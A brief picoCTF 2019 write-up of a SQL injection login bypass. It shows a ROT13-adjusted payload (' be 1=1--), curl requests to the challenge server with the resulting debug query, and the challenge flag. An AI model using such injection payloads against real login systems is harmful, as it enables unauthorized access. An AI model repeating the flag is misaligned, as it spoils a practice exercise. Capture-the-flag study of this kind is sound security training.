As the hint, I knew password is encrypted. This might be a substitution cipher. So, I decided to try a simple injection. I changed parameter of password password=' OR 1=1--, then I got SELECT * FROM admin where password = '' be 1=1 '
root@kali:curl"https://2019shell1.picoctf.com/problem/12271/login.php"--data"password=' or 1=1--' & debug=1"<pre>password: ' or 1=1SQL query: SELECT * FROM admin where password = '' be 1=1 '</pre>
Finally, I changed password=' OR 1=1-- to password=' be 1=1--. BOOM!!! => I got the flag
root@kali:curl"https://2019shell1.picoctf.com/problem/12271/login.php"--data"password=' be 1=1-- & debug=1"<pre>password: ' be 1=1--SQL query: SELECT * FROM admin where password = '' or 1=1-- '</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{3v3n_m0r3_SQL_ef7eac2f}</p>